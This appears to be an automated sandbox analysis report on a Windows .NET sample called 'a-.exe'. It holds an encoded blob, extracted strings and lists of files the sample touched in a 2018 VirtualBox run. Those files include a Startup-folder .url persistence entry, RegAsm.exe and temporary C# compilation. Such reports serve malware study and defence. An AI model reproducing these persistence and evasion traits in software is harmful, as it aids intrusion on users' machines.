GtxJW1uTm8lOCU2MDIwPiUPaWprYiVqU2JDJTglNDAyMDUxMjM0MzQ0MTMwNDc+JQ9jaWpkcSVmZHxpJTglKDQrPDU9PTczQCg3MkM+JQ8ID3h1cGdpbGYlc2psYSVQYEJQLSx+CA92cXdsa2IlSW1vXyU4JSdofHJSJz4lDyVGamt2amlgK1J3bHFgSWxrYC1JbW9fLD5wdm1qd3ElQGpsayU4JTc8MDA9PiUPZ3xxYCVBa2toJTglJTA0PiUPJUBrc2x3amtoYGtxK0B9bHEtNSw+Z3xxYCV3c29hJTglJTQ8Nz4lDyVAa3Nsd2praGBrcStAfWxxLTUsPggPeA94JXVwZ2lsZiVmaWR2diVcSFBzfnVwZ2lsZiVzamxhJVFWfG8tLH4ID2lqa2IlSWNURiU4JTE3Nz0yNTE3MTQ1NjE1NTQzPiUPcGlqa2IlVFVdYiU4JTE8PT01NjQ2NDMxNzwzMDM1PiUPdm1qd3ElR0tHbiU4JTY1MjczPiUPJWd8cWBeWCVHS0duR0tHbiU4JVZ8dnFgaCtMSitDbGlgK1dgZGFEaWlHfHFgdi0nR0tHbicsPnB2bWp3cSVOY1J9JTglMDwxNTA+JQ8ID3h1cGdpbGYlc2psYSVpakRWLSx+CA9waWprYiV8SFdoJTglNjU2PTUyMTU1PTE2MjQwPTY+JQ92Z3xxYCViSktyJTglJTQzPiUPJUZqa3ZqaWArV2BkYUlsa2AtLD5jaWpkcSVjR21mJTglNSs3PDQxNzMwQz4lD2xrcSVTSV9oJTglPTE3NDA0NDM3PiUPcm1saWAtU0lfaCU4OCU9MTc0MDQ0MzcsfggPU0lfaCU4JVNJX2glLiUxNDQwNj0+CA94CA94dXBnaWxmJXNqbGElcmNBcy0sfggPcGxrcSV8fEljJTglMTwyMzI8Nz0+JQ9jaWpkcSVjfHxQJTglNCsyMTw2NzdAKDczQz4lD2d8cWAlQWRcVyU4JSUzNz4lDyVAa3Nsd2praGBrcStAfWxxLTUsPmNpamRxJU9VdnclOCUwKzEzPDU8MEAuNzNDPiUPCA94dXBnaWxmJXNqbGElS05hai0sfggPcHZtandxJUBwaH8lOCU3PTEwMz4lD2NpamRxJXJxVW4lOCUoNSs1Mzw8MDE0M0M+JQ9wdm1qd3ElUFx1cCU4JTA0MDY8PiUPdnF3bGtiJWBGVWMlOCUnSl9XbSc+JQ8lRmprdmppYCtSd2xxYElsa2AtYEZVYyw+CA94D3gldXBnaWxmJWZpZHZ2JW99V31+dXBnaWxmJXNqbGElSG1WZi0sfggPdmd8cWAlaVdjbiU4JSUoMzM+JQ8lRmprdmppYCtXYGRhSWxrYC0sPmd8cWAlVElMYyU4JSU1PiUPJUBrc2x3amtoYGtxK0B9bHEtNSw+dmd8cWAlR0hLXyU4JSUoNzA+JQ8lRmprdmppYCtXYGRhSWxrYC0sPnZnfHFgJWpyR2ElOCUlNzM+JQ8lRmprdmppYCtXYGRhSWxrYC0sPggPeHVwZ2lsZiVzamxhJU9jRmstLH4ID3ZtandxJUlTQUMlOCUoNzYyNjw+JQ8lZ3xxYF5YJUlTQUNJU0FDJTglVnx2cWBoK0xKK0NsaWArV2BkYURpaUd8cWB2LSdJU0FDJyw+aWprYiV1V2NoJTglNDE2PDcwPTMyNDM1MDA8MTQ+JQ92bWp3cSV2S3NKJTglKDczMDA3PiUPJWd8cWBeWCV2S3NKdktzSiU4JVZ8dnFgaCtMSitDbGlgK1dgZGFEaWlHfHFgdi0ndktzSicsPmlqa2IlTXNxYSU4JTQwPDQ1MjIyMTwyMzI9NT09PiUPCA94dXBnaWxmJXNqbGEldlR8bi0sfggPdm1qd3ElRmRybCU4JSg2NTwzNj4lDyVnfHFgXlglRmRybEZkcmwlOCVWfHZxYGgrTEorQ2xpYCtXYGRhRGlpR3xxYHYtJ0ZkcmwnLD5waWprYiVham5nJTglMDI1MDYxMzI1MzAyNTU8NjI+JQ9nfHFgJV9Cd2olOCUlNzEyPiUPJUBrc2x3amtoYGtxK0B9bHEtNSw+Z3xxYCVCS0B2JTglJTQ9PiUPJUBrc2x3amtoYGtxK0B9bHEtNSw+CA94dXBnaWxmJXNqbGElbGBQXy0sfggPaWprYiVBbm9oJTglNDE3NzM1NDYzPDczNDI1NDA+JQ9hanBnaWAlYWdBYCU4JTUrNTU8MjU2PD03PiUPYWdBYCU4JUhkcW0rRmBsaWxrYi1IZHFtK0Zqdi03LCw+CA9Gamt2amlgK1dgZGFJbGtgLSw+cGlqa2IlUHBWUCU4JTA0MTA9MzEwMz08MTc3MD0xPiUPdmd8cWAlfF92TiU4JSUoPDA+JQ8lRmprdmppYCtXYGRhSWxrYC0sPggPeA94JXVwZ2lsZiVmaWR2diVsSUhJfnVwZ2lsZiVzamxhJWhpRGwtLH4ID2d8cWAlQGFJfSU4JSUyNz4lDyVAa3Nsd2praGBrcStAfWxxLTUsPnB2bWp3cSV0cWF0JTglNjI9MjY+JQ9waWprYiVHU2NjJTglNDM1PT0zPTczNzA8NDA1NTM+JQ92Z3xxYCVAVWdIJTglJTQ1ND4lDyVGamt2amlgK1dgZGFJbGtgLSw+CA94dXBnaWxmJXNqbGElZkxrTC0sfggPdnF3bGtiJWZydHAlOCUnX2F2aic+JQ8lRmprdmppYCtSd2xxYElsa2AtZnJ0cCw+aWprYiVRQXdoJTglPTQxPDc2NTc0NTQ1MTQ9NDQ+JQ92bWp3cSVnb2hBJTglNDE3MDI+JQ8lZ3xxYF5YJWdvaEFnb2hBJTglVnx2cWBoK0xKK0NsaWArV2BkYURpaUd8cWB2LSdnb2hBJyw+YWpwZ2lgJU9takAlOCUoNCs8MjQ8Mz1AKDc9PiUPbGMtT21qQCU4OCUoNSs1NTM3NDU9PTYsfggPT21qQCU4JUhkcW0rRmBsaWxrYi1IZHFtK1Fkay00LCw+CA9qZ29gZnElREtKVVBKPggPREtKVVBKJTglKDQrNjM9MjA8QCg0Mj4ID0Zqa3ZqaWArUndscWBJbGtgLURLSlVQSitRalZxd2xrYi0sK1FqSWpyYHctLCw+CA94CA94dXBnaWxmJXNqbGElXWx8US0sfggPbGtxJXFzbHIlOCU2NjI2NTw+JQ9ybWxpYC1xc2xyJTg4JTY2MjY1PCx+CA9xc2xyJS44JTw9NzE9NT4ID3hwaWprYiVVb2JiJTglMDAyMjY1MzYyNTwxPTYwPDU+JQ9waWprYiVNU0lrJTglPTIxMDU1NDMwPDI2MzcxNzM+JQ92cXdsa2IlRmtnaiU4JSdsZ0lhJz4lDyVGamt2amlgK1J3bHFgSWxrYC1Ga2dqLD4ID3h1cGdpbGYlc2psYSVjaWFJLSx+CA9jaWpkcSVGbkBjJTglKDQrMDA1MD03QC42MkM+JQ9wdm1qd3ElQ3xmdyU4JTAxNzExPiUPdnF3bGtiJU5IckwlOCUnYGRyfyc+JQ8lRmprdmppYCtSd2xxYElsa2AtTkhyTCw+aWprYiVEdW1LJTglNzY0NjY0PDMwMDAxMT0yMzA+JQ8ID3gPeCUID3g=
Fe3"
&n/|
V
X@BqdC
DSASignatureDeformatter
f|kko}5
SQL_COLUMN
})/un%6H}Y
j j
RuntimeHelpers
? %|
Y29yX2VuYWJsZV9wcm9maWxpbmc=
Ce&VM
CodeObjectCreateExpression
OidExtendedNormalizationForms
v A
r5ngkllb
Object
G; +
NodeKeyValueCollection
~JV-}
qWn48
Qm5BdFBm
ReadWriteTask
B"%u-o
MDHeaderRuntimeVersion
>@&?
{0.d
UCOMIMoniker
RuntimeTypeCache
ArraySigBase
d]`"|
Vk52RkZY
Fgd[c
T cB
*_,s
EF!7
]Nf"
B< I
&VGm
{ntb21
Datatype_union
YZX
object_0
@ y@
g6unb3iz
g_7G
8kl
>B~TzJ
Stream
P2ZN#i
zqzsg2in
get3j1pa
ConvertFromUtf32
ResetBindException
TimeInfo
sRGB
AttachmentBase
~z=a
Exit
XmlEnumAttribute
E!w.
3e+?
Rijndael
I 5{Q$
"# W
H Sj
-gD
SafeFileHandle
c81or45s
TFl3U2lI
~rt}67
<GetExpandoEnumerator>d__46
XmlArrayAttribute
get_IsAttached
n-0p
FailFast
DbSchemaInfo
k\\tUu
7DUu
Lxw;
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly>
Knkx-
p668
RRN[
ie23axh7
fXa6L
PictureBox
qWh9
nf.w
Truncate
NamespaceOrAggregateSymbol
Xjrvk
#UVu
sA+_
RegexInterpreter
|#G
Qm5XelNs
${,<[
7B}DgP
V:9(RY
U3Zub0hk
ArrayWithOffset
@zPX
n8kxvu70
Sinh
XmlEmptyNavigator
3X/)=
EntryLSA_REFERENCED_DOMAIN_LIST
MGvV
^-<bk
265m
UriCorrelationManager
?5CJ
Debugger
NotSupportedException
set_IV
7gd&
:e.E'Q
TaskToApm
d1a1et8i
WindowsGraphicsCacheManager
$'`6
XVGl
K{GI
B}
XvKDEXtknlXvKDEXtknlXvKDEXtknl
FindSizeOfVariant
ServicePointManagerElement
q~hg
RXVPS0Zi
<FinishInitStreamAsync>d__477
DataRowVersion
&(
l:)(
qpwu71ju
px6q
dAGs|
;tzz
XvKDEXtknlXvKDEXtknl
zap {I
Exception
<ReadContentAsBase64Async>d__27
DataGridViewImageCellLayout
OutAttribute
6 3
& ?
n{mf
lO]i
get_ASCII
SessionStateRecord
pf~u
lwh2vh1r
#3+LF
~S3X=]
<qi/:^X@
IAsyncResult
resolveEventArgs_0
AKam
Y~5=
d4*'[D
Q%~?
R}^7N
DynamicBindingFailedException
;x+u
6og
z^c4IT7]#^
.4]\
:Q7.
jflbjaox
wrtahiio
jI4$Gd
TX
6BsQ
XmlEventType
set_Position
ConcurrentSetItem`2
r|e2.
SynchronizationAttribute
ResourceType
ukaiyqpj
_-cV
Y=
DJl%N
V4 "
Math
ohi4
ReadKey
Ojee
rg{U
q2d-
Jc-C
System.Runtime.CompilerServices
? TVI
GP/6
IsSignUnspecifiedByte
SuppressIldasmAttribute
`N8
CatchBlock
ITypedGetters
K/\
hr?+lu
IRvaFileOffsetConverter
SendCompletedEventHandler
KE2^
set_CompilerOptions
`M!a
v#56
dTDC
a8pz
PerfProviderCollection
8tRs
GetManifestResourceNames
B7]E
aa*>
pyiyd5yn
N&+e
SkV3c1dM
KeyEventArgs
j8
_]v2
a=`<
FixedSizeReader
a\70
KuNg
MLAlx
9N}
S1p5eGht
B^a-@v?
CANOFShutdownAction
Hdo
ListInitExpressionProxy
ContentTypeValues
|01
<WriteStartElementAsync>d__31
@.5%
}@YRgBy\K
q263bjn9
<Module>
Pfl3
dVlYRW93
hDE
MultitargetUtil
CharUnicodeInfo
pluzfbj9
V ';
n[h<&
*^fs
nu5fc%
CurrencyManager
pbrtr
*~
Lmnw&<Bv
hZv 9
eSA;
laUZ;
AggKindEnum
LdapStyleUriParser
RYbxc
#GUID
SparselyPopulatedArrayAddInfo`1
Y/mgk
Lf~'
4/]m
~v?{
ContainerFilterService
gvfr1jvd
VEFaR3hh
X +>
x}=2]
Nullable`1
alRIamxH
t0ksd8y6
/^[2U
4w<^:nI
s`G{
f01:'Y+
hj3@
X +|
Y2hVV3pT
X +a
j11f2s5f
qpE`
Encoding
^R'S
asic"c
Q^hg
SHA1CryptoServiceProvider
clNZTnBk
CreateAssemblyCacheDelegate
ISerializationSurrogate
+rVsg>f=
FlatButtonAppearance
UHN3c2tT
DualCoTaskMem
8[ -
DockPaddingEdges
ToolStripSplitButtonAccessibleObject
u 7l
'`P;
7x%
ACL ?@
rv5%)`3
EventBuilder
XY!'/q
#L A
) MLz7O
mea8q04e
Replace
@r#-,
usJ.
cFZxeXpo
GBSK
Sqrt
%0,C``
zh$>
-Y e
@T4G}
PipeStream
CMSG_KEY_TRANS_RECIPIENT_ENCODE_INFO
DataGridViewCellFormattingEventArgs
IEnumIDENTITY_ATTRIBUTE
SymbolsDictionary
PublisherIdentityPermissionAttribute
ypb&k
2sKU
"FFI
UlBBR0J2
rA'0
ProductInfoHeaderParser
eEl3eFJL
Y0tSbVBu
Interop
RuntimeArgumentHandle
System.Windows.Forms
IRegistrationServices
UkZTelNV
sb4nkz2w
zkylonwr
WriteLine
T:BW :o
CodeLabeledStatement
&*6(
sd-`
kC^a&=
p#Fw
ydRY!N
SerializationObjectManager
72:g=
]t (|
o4rfh3ms
$.`I
EXPRPROP
TreeViewAction
SecurityControlFlags
<>c__DisplayClass131_0
AsyncOperationManager
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven03_64 Seven03_64 VirtualBox 2018-04-13 16:25:46 2018-04-13 16:28:39 173

11 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven03_64 Seven03_64 VirtualBox 2018-04-13 16:25:46 2018-04-13 16:28:39 173

10 Summary items with data

Files

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Seven01\AppData\Local\Temp\a-.exe.config
C:\Users\Seven01\AppData\Local\Temp\a-.exe
C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSVCR120_CLR0400.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Users\Seven01\AppData\Local\Temp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll
\Device\KsecDD
C:\Windows\assembly\NativeImages_v4.0.30319_32\TSHwEfE86lAQHfIt.enc\*
C:\Users\Seven01\AppData\Local\Temp\a-.INI
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\Microsoft.Net\assembly\GAC_32\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.tmp
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.0.cs
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.dll
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.cmdline
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.out
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.err
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.pdb
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Users\Seven01\AppData\Local\Temp\a-.exe.Local\
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll
C:\Users\Seven01\a-.exe
C:\Users\Seven01\a-.exe:Zone.Identifier
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XVKHbz.url
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
C:\Windows\Microsoft.Net\assembly\GAC_32\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1040\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1040\cscui.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\0\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\0\cscui.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1033\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\default.win32manifest
C:\Windows\Microsoft.NET\Framework\v4.0.30319\alink.dll
C:\Windows\System32\mscoree.dll.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Seven01\AppData\Local\Temp\System.Drawing.dll
C:\Windows
C:\Windows\Microsoft.NET
C:\Windows\Microsoft.NET\Framework
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Drawing.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorpehost.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll
C:\Users\Seven01\AppData\Local\Temp\CSC3A809A2B44484182861B854CE8C593E.TMP
C:\Users\Seven01\AppData\Local\Temp\RESECFF.tmp
C:\Windows\System32\tzres.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe.Local\
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows\winsxs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\fusion.localgac
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.INI
C:\Windows\Microsoft.NET\Framework\v2.0.50727
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ole32.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe.Config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.INI
C:\Windows\System32\l_intl.nls
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\08d608378aa405adc844f3cf36974b8c\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic\8.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.INI
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.INI
C:\Windows\assembly\GAC_MSIL\System.Drawing\2.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI
C:\Windows\Globalization\it-it.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\Globalization\en-us.nlp
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorlib.resources.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorlib.resources\mscorlib.resources.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorlib.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorlib.resources\mscorlib.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\Globalization\it.nlp
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.INI
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Configuration\bc09ad2d49d8535371845cd7532f9271\System.Configuration.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Configuration\2.0.0.0__b03f5f7f11d50a3a\System.Configuration.INI
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\461d3b6b3f43e6fbe6c897d5936e17e4\System.Xml.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Xml\2.0.0.0__b77a5c561934e089\System.Xml.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll
C:\Windows\Globalization\en.nlp
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
\Device\Http\Communication
C:\Windows\System32\p2pcollab.dll
C:\Windows\System32\qagentrt.dll
C:\Windows\System32\dnsapi.dll
C:\Windows\System32\DHCPQEC.DLL
C:\Windows\System32\napipsec.dll
C:\Windows\System32\it-IT\napipsec.dll.mui
C:\Windows\System32\tsgqec.dll
C:\Windows\System32\EAPQEC.DLL
C:\Windows\System32\it-IT\eapqec.dll.mui
C:\Windows\SysWOW64\it-IT\P2PNETSH.DLL.mui

Read Files

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Seven01\AppData\Local\Temp\a-.exe.config
C:\Users\Seven01\AppData\Local\Temp\a-.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
\Device\KsecDD
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.dll
